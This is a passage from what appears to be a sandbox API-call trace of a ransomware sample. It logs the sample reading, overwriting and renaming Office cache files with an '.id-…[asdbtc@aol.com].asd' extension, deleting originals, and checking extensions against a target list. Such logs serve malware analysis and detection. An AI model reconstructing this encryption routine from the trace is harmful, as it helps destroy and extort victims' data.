dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.054] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0053.054] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0053.054] ReadFile (in: hFile=0x21c, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.059] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0053.059] ReadFile (in: hFile=0x21c, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.066] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.066] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0053.066] ReadFile (in: hFile=0x21c, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.417] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.417] WriteFile (in: hFile=0x21c, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0053.631] SetEndOfFile (hFile=0x21c) returned 1 [0053.631] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0053.634] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.634] WriteFile (in: hFile=0x21c, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.636] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.636] WriteFile (in: hFile=0x21c, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.639] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.639] WriteFile (in: hFile=0x21c, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.642] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0053.643] CloseHandle (hObject=0x21c) returned 1 [0053.643] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0053.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.643] lstrlenW (lpString=".doc") returned 4 [0053.643] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.643] lstrlenW (lpString=".docx") returned 5 [0053.643] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.644] lstrlenW (lpString=".pdf") returned 4 [0053.644] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.644] lstrlenW (lpString=".xls") returned 4 [0053.644] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.644] lstrlenW (lpString=".xlsx") returned 5 [0053.644] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.644] lstrlenW (lpString=".ppt") returned 4 [0053.644] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.644] lstrlenW (lpString=".zip") returned 4 [0053.644] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.644] lstrlenW (lpString=".rar") returned 4 [0053.644] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.644] lstrlenW (lpString=".bz2") returned 4 [0053.644] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.644] lstrlenW (lpString=".7z") returned 3 [0053.644] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.644] lstrlenW (lpString=".dbf") returned 4 [0053.644] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.644] lstrlenW (lpString=".1cd") returned 4 [0053.644] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.644] lstrlenW (lpString=".jpg") returned 4 [0053.644] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.645] lstrlenW (lpString=".doc") returned 4 [0053.645] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.645] lstrlenW (lpString=".docx") returned 5 [0053.645] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.645] lstrlenW (lpString=".pdf") returned 4 [0053.645] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.645] lstrlenW (lpString=".xls") returned 4 [0053.645] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.645] lstrlenW (lpString=".xlsx") returned 5 [0053.645] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.645] lstrlenW (lpString=".ppt") returned 4 [0053.645] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.645] lstrlenW (lpString=".zip") returned 4 [0053.645] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.645] lstrlenW (lpString=".rar") returned 4 [0053.645] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.645] lstrlenW (lpString=".bz2") returned 4 [0053.645] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.645] lstrlenW (lpString=".7z") returned 3 [0053.645] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.645] lstrlenW (lpString=".dbf") returned 4 [0053.645] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.645] lstrlenW (lpString=".1cd") returned 4 [0053.645] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.645] lstrlenW (lpString=".jpg") returned 4 [0053.645] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.646] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0053.646] lstrlenW (lpString="dwtrig20.exe") returned 12 [0053.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.891] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=519584) returned 1 [0053.891] CloseHandle (hObject=0x214) returned 1 [0053.891] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0053.892] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.892] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.892] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.892] GetLastError () returned 0x0 [0053.892] ReadFile (in: hFile=0x214, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0053.913] WriteFile (in: hFile=0x218, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0054.112] ReadFile (in: hFile=0x214, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.112] WriteFile (in: hFile=0x218, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.112] SetEndOfFile (hFile=0x218) returned 1 [0054.479] CloseHandle (hObject=0x218) returned 1 [0054.479] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.479] SetEndOfFile (hFile=0x214) returned 1 [0054.484] CloseHandle (hObject=0x214) returned 1 [0054.484] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0054.484] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0054.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.937] lstrlenW (lpString=".doc") returned 4 [0054.937] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.937] lstrlenW (lpString=".docx") returned 5 [0054.937] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0054.937] lstrlenW (lpString=".pdf") returned 4 [0054.937] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.937] lstrlenW (lpString=".xls") returned 4 [0054.937] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.937] lstrlenW (lpString=".xlsx") returned 5 [0054.937] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0054.937] lstrlenW (lpString=".ppt") returned 4 [0054.937] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.937] lstrlenW (lpString=".zip") returned 4 [0054.937] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.937] lstrlenW (lpString=".rar") returned 4 [0054.937] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.937] lstrlenW (lpString=".bz2") returned 4 [0054.937] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.937] lstrlenW (lpString=".7z") returned 3 [0054.937] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.937] lstrlenW (lpString=".dbf") returned 4 [0054.938] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.938] lstrlenW (lpString=".1cd") returned 4 [0054.938] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.938] lstrlenW (lpString=".jpg") returned 4 [0054.938] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.938] lstrlenW (lpString=".doc") returned 4 [0054.938] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.938] lstrlenW (lpString=".docx") returned 5 [0054.938] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0054.938] lstrlenW (lpString=".pdf") returned 4 [0054.938] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.938] lstrlenW (lpString=".xls") returned 4 [0054.938] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.938] lstrlenW (lpString=".xlsx") returned 5 [0054.938] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0054.938] lstrlenW (lpString=".ppt") returned 4 [0054.938] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.938] lstrlenW (lpString=".zip") returned 4 [0054.938] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.938] lstrlenW (lpString=".rar") returned 4 [0054.938] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.938] lstrlenW (lpString=".bz2") returned 4 [0054.938] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.938] lstrlenW (lpString=".7z") returned 3 [0054.938] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.939] lstrlenW (lpString=".dbf") returned 4 [0054.939] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.939] lstrlenW (lpString=".1cd") returned 4 [0054.939] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.939] lstrlenW (lpString=".jpg") returned 4 [0054.939] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.939] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0054.939] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0054.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.939] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=3702272) returned 1 [0054.939] CloseHandle (hObject=0x190) returned 1 [0054.940] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0054.940] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.940] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0054.940] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0054.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.940] ReadFile (in: hFile=0x190, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.000] ReadFile (in: hFile=0x190, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.094] ReadFile (in: hFile=0x190, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.130] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.130] WriteFile (in: hFile=0x190, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0055.153] SetEndOfFile (hFile=0x190) returned 1 [0055.153] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0055.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.153] WriteFile (in: hFile=0x190, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.547] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.548] WriteFile (in: hFile=0x190, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.581] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.581] WriteFile (in: hFile=0x190, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.584] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0055.585] CloseHandle (hObject=0x190) returned 1 [0055.585] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.585] lstrlenW (lpString=".doc") returned 4 [0055.585] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.585] lstrlenW (lpString=".docx") returned 5 [0055.585] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.585] lstrlenW (lpString=".pdf") returned 4 [0055.586] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.586] lstrlenW (lpString=".xls") returned 4 [0055.586] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.586] lstrlenW (lpString=".xlsx") returned 5 [0055.586] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.586] lstrlenW (lpString=".ppt") returned 4 [0055.586] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.586] lstrlenW (lpString=".zip") returned 4 [0055.586] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.586] lstrlenW (lpString=".rar") returned 4 [0055.586] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.586] lstrlenW (lpString=".bz2") returned 4 [0055.586] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.586] lstrlenW (lpString=".7z") returned 3 [0055.586] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.586] lstrlenW (lpString=".dbf") returned 4 [0055.586] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.586] lstrlenW (lpString=".1cd") returned 4 [0055.586] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.587] lstrlenW (lpString=".jpg") returned 4 [0055.587] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.587] lstrlenW 